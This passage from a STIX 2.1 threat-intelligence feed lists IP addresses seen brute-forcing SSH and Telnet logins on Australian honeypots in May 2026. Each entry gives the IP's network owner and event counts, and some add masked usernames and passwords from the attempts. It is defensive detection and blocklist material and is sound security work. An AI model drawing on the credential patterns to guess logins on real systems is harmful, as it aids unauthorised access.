      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 205544. Organisation(s): Leaseweb UK Limited. Usernames observed (masked): r**t, 3**********4, s*****d, u****u, i****l. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1******w, 1******@.",
      "id": "indicator--b6e81baf-4567-408a-b232-0619ca244d66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.81.36.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: QA. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--17e37417-fbf6-456e-8947-e482f866480e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.18.20.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3352df6e-4df8-4c88-aeb3-d5846ba77d54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.196.127.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--feac0f7a-f928-40d4-9516-46bdd7e782e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.142.61.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--dfdc5035-031f-4d47-8abd-7d1310e3e0bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--ba9da982-7246-4e66-9fff-f15fcc109090",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--f3b8a21a-300f-4f67-adc6-b0d57b929fae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--1686a219-2e82-4b09-b313-3fb121fbbe9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--dad0579f-d126-4f8a-8a77-3242ad547269",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T20:15:06.000Z",
      "valid_until": "2026-06-27T20:15:03.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): f****y. Passwords observed (masked): f****y.",
      "id": "indicator--81a2e86f-8f6c-4c56-907d-152bf6abf080",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.13.64.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): r**t, 3**********4, a*******r, **, m***o. Passwords observed (masked): 1**********6, 1**4, 1****6, 3***********4, 3**********4.",
      "id": "indicator--6b004a43-c2f3-457e-91c4-50d66998f0eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.161.39.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56040. Organisation(s): China Mobile communications corporation. Usernames observed (masked): r**t, u****u, d***d, f****l, v***********r. Passwords observed (masked): 0******M, *, 1****6, 3***********4, P********#.",
      "id": "indicator--82051612-33e5-45bd-b65b-8aafec78a4a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.240.236.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--b4878349-1fc0-4886-889a-cf1a5b362a61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.20.55.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 202940. Organisation(s): ITC NG ltd.",
      "id": "indicator--2790e023-7af1-412b-a506-a1191bade788",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.236.182.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 227. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4, a***n, s*****d, u****u. Passwords observed (masked): 3**********4, 3***********4, !******z, 1****2, ***.",
      "id": "indicator--f5917e4d-d382-4cb3-8db7-c79676ca88b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.97.86.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--60feea47-a94c-45ab-9415-613489130a77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.209.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 35819. Organisation(s): Etihad Etisalat, a joint stock company.",
      "id": "indicator--360536a3-b7a4-415f-9ca1-292bb29bf73e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.19.32.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--c0835e7c-fc33-4ab5-894f-299f59e1d4bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.224.28.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UG. ASN(s): 21491. Organisation(s): UGANDA-TELECOM Uganda Telecom. Usernames observed (masked): r**t, 3**********4, k*******n, m*******o, f**d. Passwords observed (masked): 3***********4, 3**********4, #**********b, ***, 1**4.",
      "id": "indicator--0bd989d8-6bed-4e48-8382-3f129a7b276b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.0.120.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--873bf137-3bff-4dd6-900d-9d6631d681ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.236.109.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 17421. Organisation(s): Mobile Business Group.",
      "id": "indicator--c43585dc-d446-481c-bb2c-2a57c81dd43a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.120.2.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4, u****u, *, d*****r. Passwords observed (masked): 3***********4, 3**********4, *, 1****6, 1*******n.",
      "id": "indicator--0b4599f0-7b33-4177-9e82-3e91d3d0a4fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.40.145.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--e2cbd789-ecc3-423f-8b27-9f04b5264f86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.111.226.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, s*****d, u****u, d****y. Passwords observed (masked): 3***********4, 3**********4, 1*******1, 1****6, 1**********C.",
      "id": "indicator--97c9259f-36cc-46ce-8f6b-5b454c67d713",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.162.112.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 315. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 267588. Organisation(s): MaxWeb Telecom. Usernames observed (masked): 3**********4, r**t, k*******n, m*******o, s*****d. Passwords observed (masked): 3***********4, 3**********4, #**********b, ***, 1**4.",
      "id": "indicator--8f2c1bbc-37f1-4028-95f3-dab2a666d9b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.70.219.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 180. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb. Usernames observed (masked): r**t, 3**********4, u****u, a***n, s*****d. Passwords observed (masked): 3**********4, 3***********4, !******z, 1****2, ***.",
      "id": "indicator--7025afa6-2069-4bc8-b265-0f53bb65db2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.89.75.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T21:15:11.000Z",
      "valid_until": "2026-06-27T21:15:08.000Z"
    },
    {
      "created": "2026-05-26T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--dd4b06c7-95a8-4262-b324-05a3b6b79274",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.42.75.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T22:15:11.000Z",
      "valid_until": "2026-06-27T22:15:08.000Z"
    },
    {
      "created": "2026-05-26T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: JO. ASN(s): 48832. Organisation(s): Jordanian mobile phone services Ltd.",
      "id": "indicator--da26e4d1-0416-41c2-9f13-69f407584e00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.29.112.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T22:15:11.000Z",
      "valid_until": "2026-06-27T22:15:08.000Z"
    },
    {
      "created": "2026-05-26T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd..",
      "id": "indicator--36bdc5a9-98d6-4fdd-8dd1-8701f59cf72a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.78.217.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T22:15:11.000Z",
      "valid_until": "2026-06-27T22:15:08.000Z"
    },
    {
      "created": "2026-05-26T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 42610. Organisation(s): Rostelecom. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--a58a24fd-ee60-4576-b7cf-26013ee8a38b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.32.210.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T22:15:11.000Z",
      "valid_until": "2026-06-27T22:15:08.000Z"
    },
    {
      "created": "2026-05-26T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 50304. Organisation(s): Blix Solutions AS. Usernames observed (masked): r**t. Passwords observed (masked): V************************!.",
      "id": "indicator--9838652a-9083-4737-b500-9d2c738b3b3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.138.7.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T22:15:11.000Z",
      "valid_until": "2026-06-27T22:15:08.000Z"
    },
    {
      "created": "2026-05-26T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--af0616d6-e212-4414-8506-38f97fd1d820",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.112.78.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T22:15:11.000Z",
      "valid_until": "2026-06-27T22:15:08.000Z"
    },
    {
      "created": "2026-05-26T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--fdf83d90-87d0-4e50-baac-310df4c7b0a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.46.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T23:15:10.000Z",
      "valid_until": "2026-06-27T23:15:08.000Z"
    },
    {
      "created": "2026-05-26T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6e72f6b9-ff8b-440b-89ae-8059b7caf90e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T23:15:10.000Z",
      "valid_until": "2026-06-27T23:15:08.000Z"
    },
    {
      "created": "2026-05-26T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SR. ASN(s): 52398. Organisation(s): Digicel Suriname NV.",
      "id": "indicator--d5251a9c-5f78-4033-ae69-5a0599995e72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-26T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.121.86.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T23:15:10.000Z",
      "valid_until": "2026-06-27T23:15:08.000Z"
    },
    {
      "created": "2026-05-26T23:15:10.000Z",
